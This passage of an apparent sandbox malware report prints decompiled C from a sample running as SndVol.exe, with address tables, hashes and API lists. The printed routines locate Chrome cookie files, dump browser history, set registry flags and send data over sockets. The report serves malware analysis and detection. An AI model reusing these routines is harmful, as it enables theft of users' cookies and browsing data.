                                    0x00416a31
                                    0x00416a3c
                                    0x00416a46
                                    0x00416a48
                                    0x00000000
                                    0x00000000
                                    0x00416a91
                                    0x00416a95
                                    0x00416a9a
                                    0x00416a9d
                                    0x00416aa5
                                    0x00000000
                                    0x00000000
                                    0x00416adb
                                    0x00416adf
                                    0x00416ae4
                                    0x00416ae7
                                    0x00416aef
                                    0x00000000
                                    0x00000000
                                    0x00416e55
                                    0x00416e59
                                    0x00416e61
                                    0x00416e65
                                    0x00416e6d
                                    0x00416e76
                                    0x00416e78
                                    0x00416e80
                                    0x00416e89
                                    0x00416e8b
                                    0x00416e92
                                    0x00416e96
                                    0x00416e98
                                    0x00416e9d
                                    0x00416e9f
                                    0x00416ea1
                                    0x00416ea9
                                    0x00416ead
                                    0x00416eb6
                                    0x00416eb8
                                    0x00416ebe
                                    0x00416ec5
                                    0x00416ecb
                                    0x00416ed0
                                    0x00416edc
                                    0x00416ede
                                    0x00416ee4
                                    0x00416eeb
                                    0x00416ef4
                                    0x00416efd
                                    0x00416eff
                                    0x00416f0b
                                    0x00416f0d
                                    0x00416f1a
                                    0x00416f1c
                                    0x00416f26
                                    0x00416f28
                                    0x00416f32
                                    0x00416f34
                                    0x00416f38
                                    0x00416f3e
                                    0x00416f42
                                    0x00416f47
                                    0x00416f4b
                                    0x00416f50
                                    0x00416f54
                                    0x00416f59
                                    0x00416f60
                                    0x00416f65
                                    0x00416f6c
                                    0x00416f71
                                    0x00416f78
                                    0x00416f7d
                                    0x00416f81
                                    0x00416f85
                                    0x00416f8a
                                    0x00416f8d
                                    0x00416f91
                                    0x00416f93
                                    0x00416f98
                                    0x00416f99
                                    0x00416f9a
                                    0x00416f9c
                                    0x00416f9e
                                    0x00416f9e
                                    0x00416fa3
                                    0x00416fa8
                                    0x00416fa9
                                    0x00416fab
                                    0x00416fad
                                    0x00416fb2
                                    0x00416fb3
                                    0x00416fb5
                                    0x00416fba
                                    0x00416fbf
                                    0x00416fc3
                                    0x00416fc8
                                    0x00416fcc
                                    0x00000000
                                    0x00000000
                                    0x00415cb2
                                    0x00415cb9
                                    0x00415cc0
                                    0x00415cc9
                                    0x00415ccb
                                    0x00415cd6
                                    0x00415cda
                                    0x00415ce1
                                    0x00415ceb
                                    0x00415cf0
                                    0x00415cf7
                                    0x00415cfb
                                    0x00415cfb
                                    0x00415cfe
                                    0x00415d03
                                    0x00415d06
                                    0x00415d09
                                    0x00415d10
                                    0x00415d14
                                    0x00415d19
                                    0x00415d1c
                                    0x00415d1f
                                    0x00415d26
                                    0x00415d2f
                                    0x00415d31
                                    0x00415d36
                                    0x00415d39
                                    0x00415d3c
                                    0x00415d43
                                    0x00415d4c
                                    0x00415d4e
                                    0x00415d53
                                    0x00415d56
                                    0x00415d59
                                    0x00415d5e
                                    0x00415d65
                                    0x00415d6a
                                    0x00415d71
                                    0x00415d79
                                    0x00415d83
                                    0x00415d94
                                    0x00415d94
                                    0x00415d99
                                    0x00415da0
                                    0x00000000
                                    0x00000000
                                    0x00415dac
                                    0x00415db5
                                    0x00415db7
                                    0x00415dc3
                                    0x00415dc5
                                    0x00000000
                                    0x00000000
                                    0x00415dd1
                                    0x00415dda
                                    0x00415ddc
                                    0x00415de2
                                    0x00415dea
                                    0x00415dee
                                    0x00415df5
                                    0x00415df7
                                    0x00415dfd
                                    0x00415dff
                                    0x00415e03
                                    0x00415e09
                                    0x00415e0d
                                    0x00415e14
                                    0x00415e18
                                    0x00415e1a
                                    0x00415e1f
                                    0x00415e21
                                    0x00415e23
                                    0x00415e28
                                    0x00415e31
                                    0x00415e33
                                    0x00415e35
                                    0x00416fd1
                                    0x00416fd1
                                    0x00416fd5
                                    0x00416fd5
                                    0x00000000
                                    0x00000000
                                    0x00416009
                                    0x00416012
                                    0x00416014
                                    0x0041601c
                                    0x00416025
                                    0x00416027
                                    0x00416034
                                    0x00000000
                                    0x00000000
                                    0x00416af9
                                    0x00416afb
                                    0x00416b00
                                    0x00416b05
                                    0x00416b0a
                                    0x00416b0c
                                    0x00416b11
                                    0x00416b15
                                    0x00416b16
                                    0x00416b18
                                    0x00416b31
                                    0x00416b36
                                    0x00416b39
                                    0x00416b3c
                                    0x00416b41
                                    0x00416b1a
                                    0x00416b1a
                                    0x00416b1f
                                    0x00416b22
                                    0x00416b25
                                    0x00416b2a
                                    0x00416b2a
                                    0x00416b46
                                    0x00000000
                                    0x00000000
                                    0x00416b52
                                    0x00416b56
                                    0x00416b5b
                                    0x00416b5e
                                    0x00416b66
                                    0x00000000
                                    0x00000000
                                    0x00415c91
                                    0x00415c95
                                    0x00415c9a
                                    0x00415c9d
                                    0x00415ca5
                                    0x00000000
                                    0x00000000
                                    0x004163b7
                                    0x004163bb
                                    0x004163c0
                                    0x004163c3
                                    0x004163cb
                                    0x00000000
                                    0x00000000
                                    0x0041652e
                                    0x00416532
                                    0x00416537
                                    0x0041653a
                                    0x00416542
                                    0x00415caa
                                    0x00415caa
                                    0x00000000
                                    0x00000000
                                    0x00416c12
                                    0x00000000
                                    0x00000000
                                    0x00416c1c
                                    0x00000000
                                    0x00000000
                                    0x00416c26
                                    0x00000000
                                    0x00000000
                                    0x00416be4
                                    0x00416bed
                                    0x00416bef
                                    0x00416bf6
                                    0x00416bfa
                                    0x00416bfc
                                    0x00416bff
                                    0x00416c04
                                    0x00416c06
                                    0x00416c08
                                    0x00000000
                                    0x00000000
                                    0x00416b70
                                    0x00000000
                                    0x00000000
                                    0x00416c30
                                    0x00416c31
                                    0x00416c36
                                    0x00416c36
                                    0x00416c36
                                    0x00000000
                                    0x00416b7a
                                    0x00416b7b
                                    0x00416b80
                                    0x00416bbb
                                    0x00416b82
                                    0x00416b82
                                    0x00416b89
                                    0x00416b95
                                    0x00416b9b
                                    0x00416b9b
                                    0x00000000
                                    0x00000000
                                    0x00415fc7
                                    0x00000000
                                    0x00000000
                                    0x00415fcb
                                    0x00415f9e
                                    0x00415fa0
                                    0x00415fa9
                                    0x00415fab
                                    0x00415fb8
                                    0x00000000
                                    0x00000000
                                    0x00415e3f
                                    0x00415e46
                                    0x00415e4d
                                    0x00415e51
                                    0x00415e56
                                    0x00415e59
                                    0x00415e5c
                                    0x00415e63
                                    0x00415e67
                                    0x00415e6c
                                    0x00415e6f
                                    0x00415e72
                                    0x00415e79
                                    0x00415e7d
                                    0x00415e82
                                    0x00415e85
                                    0x00415e88
                                    0x00415e8d
                                    0x00415e94
                                    0x00415e99
                                    0x00415ea0
                                    0x00000000
                                    0x00000000
                                    0x00416a52
                                    0x00416a56
                                    0x00416a5f
                                    0x00416a61
                                    0x00416a66
                                    0x00416a69
                                    0x00416a6c
                                    0x00416a71
                                    0x00416a76
                                    0x00416a80
                                    0x00416a82
                                    0x00416a87
                                    0x00000000
                                    0x00000000
                                    0x00416c91
                                    0x00416c95
                                    0x00416c9c
                                    0x00416ca0
                                    0x00416ca9
                                    0x00416cb2
                                    0x00416cb4
                                    0x00416cbe
                                    0x00416cc0
                                    0x00416cca
                                    0x00416ccc
                                    0x00416cd0
                                    0x00416cd5
                                    0x00416cd9
                                    0x00416cde
                                    0x00000000
                                    0x00000000
                                    0x00415f2f
                                    0x00415f38
                                    0x00415f3a
                                    0x00415f46
                                    0x00415f48
                                    0x00000000
                                    0x00000000
                                    0x00415f54
                                    0x00415f5d
                                    0x00415f5f
                                    0x00415f6b
                                    0x00415f6d
                                    0x00000000
                                    0x00000000
                                    0x00416cec
                                    0x00416cf0
                                    0x00416cf7
                                    0x00416d00
                                    0x00416d02
                                    0x00416d07
                                    0x00416d0b
                                    0x00416d0d
                                    0x00416d12
                                    0x00416d15
                                    0x00416d19
                                    0x00416d1b
                                    0x00416d1f
                                    0x00416d20
                                    0x00416d28
                                    0x00416d2c
                                    0x00416d35
                                    0x00416d37
                                    0x00416d3e
                                    0x00000000
                                    0x00000000
                                    0x00416d92
                                    0x00416d9b
                                    0x00416d9d
                                    0x00416da4
                                    0x00416da8
                                    0x00416daa
                                    0x00416daf
                                    0x00416db1
                                    0x00416db3
                                    0x00416db8
                                    0x00416dbc
                                    0x00416dc3
                                    0x00416dcc
                                    0x00416dce
                                    0x00416dd3
                                    0x00416dd7
                                    0x00416dd9
                                    0x00416dde
                                    0x00416de1
                                    0x00416de5
                                    0x00416de7
                                    0x00416deb
                                    0x00416dec
                                    0x00416df4
                                    0x00416df6
                                    0x00416dfb
                                    0x00416e02
                                    0x00416d43
                                    0x00416d43
                                    0x00416d44
                                    0x00416d46
                                    0x00416d4a
                                    0x00416d4f
                                    0x00416d50
                                    0x00416d52
                                    0x00416d56
                                    0x00416d5b
                                    0x00416d5c
                                    0x00416d5e
                                    0x00416d60
                                    0x00416d65
                                    0x00416d66
                                    0x00416d6b
                                    0x00416d70
                                    0x00416d75
                                    0x00416d79
                                    0x00416d7e
                                    0x00416d82
                                    0x00416d87
                                    0x00416ce2
                                    0x00416ce2
                                    0x00415c78
                                    0x00415c78
                                    0x00415c7c
                                    0x00415c7c
                                    0x00000000
                                    0x00000000
                                    0x00416231
                                    0x00416232
                                    0x00416237
                                    0x004162fb
                                    0x00416300
                                    0x0041623d
                                    0x00416243
                                    0x00416249
                                    0x0041624b
                                    0x00416250
                                    0x00416252
                                    0x00416258
                                    0x00416267
                                    0x00416269
                                    0x0041626e
                                    0x0041626f
                                    0x00416270
                                    0x00416277
                                    0x0041627e
                                    0x00416280
                                    0x00416287
                                    0x00416289
                                    0x00416290
                                    0x00416292
                                    0x00416297
                                    0x00416299
                                    0x0041629e
                                    0x004162a4
                                    0x004162ab
                                    0x004162b3
                                    0x004162bc
                                    0x004162c3
                                    0x004162c5
                                    0x004162cd
                                    0x004162d4
                                    0x004162dc
                                    0x004162df
                                    0x004162f1
                                    0x004162f1
                                    0x00000000
                                    0x00000000
                                    0x0041630a
                                    0x0041630a
                                    0x0041630b
                                    0x00416310
                                    0x00416321
                                    0x00416323
                                    0x00416328
                                    0x00416329
                                    0x0041632a
                                    0x0041632f
                                    0x00000000
                                    0x00000000
                                    0x00416e0c
                                    0x00416e11
                                    0x00416e13
                                    0x00416e19
                                    0x00416e1b
                                    0x00416e22
                                    0x00416e26
                                    0x00416e2b
                                    0x00416e2e
                                    0x00416e31
                                    0x00416e36
                                    0x00416e3b
                                    0x00416e42
                                    0x00416e47
                                    0x00416e49
                                    0x0041642d
                                    0x0041642d
                                    0x0041642f
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00415acd
                                    0x00000000

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CountEventTick
                                    • String ID: !D@$NG
                                    • API String ID: 180926312-2721294649
                                    • Opcode ID: d23341a575ce1ad87ba83e6dc6d7dac59cfa1da4ba57d6f1b3abf767ec141b93
                                    • Instruction ID: 8d91db508202dc68ffd21994d0c69ff97dbeeb953573faa2a8a11e894053fa47
                                    • Opcode Fuzzy Hash: d23341a575ce1ad87ba83e6dc6d7dac59cfa1da4ba57d6f1b3abf767ec141b93
                                    • Instruction Fuzzy Hash: 0E51B4312082019AC724FB32D852AEF73A5AF91344F50483FF546671E2EF7C594AC68E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 93%
                                    			E00409EA3(void* __ecx, void* __edx, char _a4) {
				char _v12;
				void* _v40;
				char _v44;
				char _v68;
				void* _v72;
				char _v92;
				void* _v96;
				char _v116;
				void* _v120;
				char _v140;
				void* _v144;
				char _v164;
				void* _v168;
				char _v188;
				void* _v192;
				char _v212;
				void* _v216;
				char _v236;
				void* _v240;
				char _v260;
				void* _v264;
				char _v284;
				void* _v288;
				char _v308;
				void* _v312;
				char _v332;
				void* _v336;
				char _v356;
				void* _v360;
				char _v380;
				void* _v384;
				char _v396;
				char _v399;
				char _v403;
				char _v404;
				void* _v408;
				char _v416;
				void* _v432;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t51;
				void* _t52;
				void* _t53;
				void* _t57;
				void* _t58;
				void* _t72;
				void* _t91;
				void* _t148;
				void* _t166;

				_t148 = __edx;
				E00401FC0(__ecx + 0x98,  &_a4);
				_v404 = 0;
				_v403 = 0;
				_v399 = 0;
				GetKeyboardLayoutNameA( &_v404);
				E0040482D(0x4751a8);
				E004048C8(0x4751a8, _t166, 0x4751a8);
				E0040417E(_t91,  &_v396, _t148, 0x4751a8,  *0x475140);
				_t51 = E00401FAB(E00401E65(0x4750e4, _t148, 0x4751a8, 0, 0x12));
				_t52 = E0041BAE0(_t91,  &_v44,  *0x47513c);
				_t53 = E0041BC70(0x474ee0,  &_v68,  &_v404);
				_t57 = E0041BAE0(0x474ee0,  &_v92, E0041C467(E00401F04(0x475158)));
				_t58 = E0041BAE0(0x474ee0,  &_v116,  *0x4751a0);
				E00402EA1( &_v404 - 0x18, E00402F10(0x474ee0,  &_v380, E00402EA1( &_v356, E00402F10(0x474ee0,  &_v332, E00402F10(0x474ee0,  &_v308, E00402F10(0x474ee0,  &_v284, E00402EA1( &_v260, E00402F10(0x474ee0,  &_v236, E00402EA1( &_v212, E00402F10(0x474ee0,  &_v188, E0040919D(0x474ee0,  &_v164, E0040531E( &_v140,  &_v416, 0x4751a8, 0x474ee0),  &_v404 - 0x18, 0x4751a8, 0,  *_t51 & 0x000000ff), 0x4751a8, 0, 0x474ee0), _t58), 0x4751a8, 0, 0x474ee0), _t57), 0x4751a8, 0, 0x474ee0), 0x4751a8, 0,  &_v12), 0x4751a8, 0, 0x474ee0), _t53), 0x4751a8, 0, 0x474ee0), _t52);
				_push(0x12);
				_t72 = E00404AA1(0x4751a8, _t70, 0);
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401FD8();
				E00401F09();
				E00401FD8();
				return _t72;
			}






















































                                    0x00409ea3
                                    0x00409ebb
                                    0x00409ec2
                                    0x00409ec6
                                    0x00409eca
                                    0x00409ed3
                                    0x00409ee0
                                    0x00409ee8
                                    0x00409ef7
                                    0x00409f0a
                                    0x00409f1e
                                    0x00409f3a
                                    0x00409f64
                                    0x00409f78
                                    0x0040a029
                                    0x0040a02f
                                    0x0040a033
                                    0x0040a03e
                                    0x0040a047
                                    0x0040a050
                                    0x0040a05c
                                    0x0040a068
                                    0x0040a074
                                    0x0040a080
                                    0x0040a08c
                                    0x0040a098
                                    0x0040a0a4
                                    0x0040a0b0
                                    0x0040a0bc
                                    0x0040a0c8
                                    0x0040a0d4
                                    0x0040a0e0
                                    0x0040a0e9
                                    0x0040a0f5
                                    0x0040a106

                                    APIs
                                    • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                                      • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                      • Part of subcall function 0041C467: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00409F5B,00474EE0,?,00474EE0,00000000,00474EE0,00000000), ref: 0041C47C
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateFileKeyboardLayoutNameconnectsend
                                    • String ID: XQG$NG$PG
                                    • API String ID: 1634807452-3565412412
                                    • Opcode ID: 0148c338ac0ed3ca997656d2ac1eccfd7f3ee5a900a38debe5fcee220668ba49
                                    • Instruction ID: 7cefa1c10b11913d0097a2246925c0238059152698948de6128fe14f14b2c3c5
                                    • Opcode Fuzzy Hash: 0148c338ac0ed3ca997656d2ac1eccfd7f3ee5a900a38debe5fcee220668ba49
                                    • Instruction Fuzzy Hash: 595121316082415AC328F732D852AEFB3E5AFD4348F50493FF44AA71E2EF78594AC649
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004433A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 88%
                                    			E004433A4(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E0044EF29(_t52);
					GetModuleFileNameA(0, 0x4723d8, 0x104);
					_t49 =  *0x472a50; // 0x7b33d0
					 *0x472a58 = 0x4723d8;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x4723d8;
					}
					_v8 = 0;
					_v16 = 0;
					E004434C8(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E0044363D(_v8, _v16, 1);
					if(_t64 != 0) {
						E004434C8(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E0044EA44(_t49, 0, _t64, _t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0x472a44 = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x472a48 = _t59;
									L16:
									E00446652(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x472a44 = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0x472a48 = _t43;
						goto L10;
					} else {
						_t44 = E0044052D();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E00446652(_t64);
						return _t50;
					}
				} else {
					_t45 = E0044052D();
					_t65 = 0x16;
					 *_t45 = _t65;
					E0043BC3C();
					return _t65;
				}
			}





















                                    0x004433a4
                                    0x004433b1
                                    0x004433d1
                                    0x004433e4
                                    0x004433ea
                                    0x004433f0
                                    0x004433f8
                                    0x004433ff
                                    0x004433ff
                                    0x00443404
                                    0x0044340b
                                    0x00443412
                                    0x00443424
                                    0x0044342b
                                    0x0044344a
                                    0x00443456
                                    0x00443471
                                    0x00443474
                                    0x0044347b
                                    0x00443481
                                    0x00443488
                                    0x0044348b
                                    0x0044348d
                                    0x00443491
                                    0x0044349b
                                    0x0044349b
                                    0x0044349d
                                    0x004434a3
                                    0x004434a6
                                    0x004434a8
                                    0x004434ae
                                    0x004434af
                                    0x004434b5
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00443493
                                    0x00443493
                                    0x00443493
                                    0x00443496
                                    0x00443497
                                    0x00000000
                                    0x00443493
                                    0x00443483
                                    0x00000000
                                    0x00443483
                                    0x0044345c
                                    0x00443461
                                    0x00443463
                                    0x00443465
                                    0x00000000
                                    0x0044342d
                                    0x0044342d
                                    0x00443432
                                    0x00443434
                                    0x00443435
                                    0x0044346a
                                    0x0044346a
                                    0x004434b8
                                    0x004434b9
                                    0x00000000
                                    0x004434c2
                                    0x004433b9
                                    0x004433b9
                                    0x004433c0
                                    0x004433c1
                                    0x004433c3
                                    0x00000000
                                    0x004433c8

                                    APIs
                                    • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\SysWOW64\SndVol.exe,00000104), ref: 004433E4
                                    • _free.LIBCMT ref: 004434AF
                                    • _free.LIBCMT ref: 004434B9
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$FileModuleName
                                    • String ID: C:\Windows\SysWOW64\SndVol.exe
                                    • API String ID: 2506810119-3942169294
                                    • Opcode ID: 0ecbe3507a193e65cd04cb6d0317a175991b1ee18462a5fe729ee2095615c7ff
                                    • Instruction ID: c57e792538030dbd167bf1e9b5f35e3a61e1eff0cda592d103e67d9e387a7db3
                                    • Opcode Fuzzy Hash: 0ecbe3507a193e65cd04cb6d0317a175991b1ee18462a5fe729ee2095615c7ff
                                    • Instruction Fuzzy Hash: B3319671A00254BFEB21DF599C819DEBBACEF45B15F10406BF80497251D6788F818B99
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 90%
                                    			E0040404C(void* __ebx) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				char _v124;
				char _v148;
				char _v172;
				short _v692;
				void* __edi;
				void* __ebp;
				struct HINSTANCE__* _t81;
				struct HINSTANCE__* _t84;
				void* _t85;
				void* _t86;

				_t48 = __ebx;
				_t81 = 0;
				GetModuleFileNameW(0,  &_v692, 0x104);
				E004020DF(__ebx,  &_v52);
				E0040D936( &_v28, 0x30, E00401FAB(E0041B8CA( &_v76)));
				E00401FD8();
				E00401FAB(0x474e30);
				E004184BA(E00401F04(E00403014(_t48,  &_v100, E0040431D(_t48,  &_v124, E004042FC(_t48,  &_v148,  &_v692, _t85, 0, E0040417E(__ebx,  &_v172, 0x30, _t85, L" /sort \"Visit Time\" /stext \"")), _t85, 0,  &_v28), 0, _t85, 0, "\"")));
				E00401F09();
				E00401F09();
				E00401F09();
				E00401F09();
				_t84 = 0;
				while(1) {
					E00401F04( &_v28);
					_t80 =  &_v52;
					if(E0041C3D7( &_v52) != 0) {
						break;
					}
					Sleep(0xfa);
					_t84 =  &(_t84->i);
					if(_t84 < 0x14) {
						continue;
					} else {
					}
					L5:
					E00401F09();
					E00401FD8();
					return _t81;
				}
				E004020F6(_t48, _t86 - 0x18,  &_v52, __eflags,  &_v52);
				_push(0x9d);
				E00404AA1(0x474db0, _t80, __eflags);
				_t81 = 1;
				__eflags = 1;
				goto L5;
			}

















                                    0x0040404c
                                    0x00404063
                                    0x00404066
                                    0x0040406f
                                    0x00404089
                                    0x00404092
                                    0x0040409c
                                    0x004040f0
                                    0x004040f8
                                    0x00404100
                                    0x0040410b
                                    0x00404116
                                    0x0040411b
                                    0x0040411d
                                    0x00404120
                                    0x00404125
                                    0x00404131
                                    0x00000000
                                    0x00000000
                                    0x00404138
                                    0x0040413e
                                    0x00404142
                                    0x00000000
                                    0x00000000
                                    0x00404144
                                    0x00404166
                                    0x00404169
                                    0x00404171
                                    0x0040417d
                                    0x0040417d
                                    0x0040414f
                                    0x00404154
                                    0x0040415e
                                    0x00404165
                                    0x00404165
                                    0x00000000

                                    APIs
                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                      • Part of subcall function 0041B8CA: GetCurrentProcessId.KERNEL32(00000000,746CFBB0,00000000,?,?,?,?,00466468,0040D15B,.vbs,?,?,?,?,?,004752F0), ref: 0041B8F1
                                      • Part of subcall function 004184BA: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 004184D0
                                      • Part of subcall function 004184BA: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 004184D9
                                      • Part of subcall function 0041C3D7: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0040A791), ref: 0041C3F0
                                    • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                    • String ID: /sort "Visit Time" /stext "$0NG
                                    • API String ID: 368326130-3219657780
                                    • Opcode ID: 0fee82a8aaf3815916a12b867180f493fdfda630ad06c2e98ab43fc859fc22b5
                                    • Instruction ID: a7a1f54ce4987a3beb3e658239608a22c4409d4ed1d3cd49485c6eafa291a93b
                                    • Opcode Fuzzy Hash: 0fee82a8aaf3815916a12b867180f493fdfda630ad06c2e98ab43fc859fc22b5
                                    • Instruction Fuzzy Hash: 4D316371A0011956CB15FBA2DC569ED7375AF90308F40007FF606B71E2EF785D89CA99
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00416232 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 92%
                                    			E00416232(void* __ebp, void* __eflags, char _a16, void* _a152, void* _a248) {
				intOrPtr* _t17;
				signed char* _t19;
				void* _t22;
				void* _t24;
				void* _t29;

				asm("sbb eax, 0x47513c");
				if(__eflags != 0) {
					E0040A109(_t29, 0x4750f0, __eflags);
				} else {
					 *0x47513c = (E0043BA26( *0x475140) != 0) + 1;
					_t57 = E00401FAB(0x4752f0);
					E004137C5(0x4752f0, _t14, "okmode", (E0043BA26( *0x475140) != 0) + 1);
					_t17 = E00401FAB(E00401E65(0x4750e4, _t14, __ebp, E0043BA26( *0x475140), 0xb));
					_t19 = E00401FAB(E00401E65(0x4750e4, _t14, __ebp, E0043BA26( *0x475140), 0x10));
					_t67 =  *_t17;
					_t22 = E0043B9FC(_t20, E00401FAB(E00401E65(0x4750e4, _t14, __ebp,  *_t17, 7)));
					_t24 = E00401FAB(E00401E65(0x4750e4, _t14, __ebp,  *_t17, 0x11));
					E00409DE4( *_t17, 0x4750f0, _t67,  *0x47513c,  *0x475140,  *_t19 & 0x000000ff, E00401FAB(E00401E65(0x4750e4, _t57, __ebp,  *_t17, 0x31)), _t24, _t22, (_t18 & 0xffffff00 |  *_t17 != 0x00000000) & 0x000000ff);
				}
				_t5 =  &_a16; // 0x404421
				E00401E8D(_t5, _t57);
				E00401FD8();
				E00401FD8();
				return 0;
			}








                                    0x00416232
                                    0x00416237
                                    0x00416300
                                    0x0041623d
                                    0x00416252
                                    0x00416267
                                    0x00416269
                                    0x00416280
                                    0x00416292
                                    0x00416297
                                    0x004162b3
                                    0x004162c5
                                    0x004162f1
                                    0x004162f1
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003

                                    APIs
                                    • _wcslen.LIBCMT ref: 00416243
                                      • Part of subcall function 004137C5: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 004137D3
                                      • Part of subcall function 004137C5: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C0A0,00466C48,00000001,000000AF,004660A4), ref: 004137EE
                                      • Part of subcall function 004137C5: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C0A0,00466C48,00000001,000000AF,004660A4), ref: 004137F9
                                      • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _wcslen$CloseCreateValue
                                    • String ID: !D@$okmode$PG
                                    • API String ID: 3411444782-3370592832
                                    • Opcode ID: e2096b283890306c1c55ed3beba746fc820f68cebd641cee39b2d7e28c041fe6
                                    • Instruction ID: 648d92a41a9dd2165a50db2656cf0f1b643a0eedbfe8fff8d6009c7e95d8c9dc
                                    • Opcode Fuzzy Hash: e2096b283890306c1c55ed3beba746fc820f68cebd641cee39b2d7e28c041fe6
                                    • Instruction Fuzzy Hash: D2119371B442021ADA187732E8727BD22969F80358F80843FF546AF2E2DEBD4C41564D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040C53A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E0040C53A(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				char _v28;
				char _v52;
				char _v76;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t22;
				int _t32;
				void* _t59;
				void* _t63;
				void* _t65;
				void* _t66;

				_t59 = __edx;
				_t40 = __ebx;
				_t63 = __ecx;
				E0040C903(__ecx);
				E0040C411(__ebx,  &_v52, _t59, __ecx, __eflags);
				E0040915B( &_v28,  &_v52, _t66, L"User Data\\Default\\Network\\Cookies");
				_t22 = PathFileExistsW(E00401F04( &_v28));
				_t68 = _t22;
				if(_t22 != 0) {
					E0040C864(__ebx, _t63, _t66, _t68,  &_v28);
				}
				_t65 = 1;
				do {
					E00401F13( &_v28,  &_v52, _t65, E0040915B( &_v76,  &_v52, _t66, L"User Data\\Profile ?\\Network\\Cookies"));
					E00401F09();
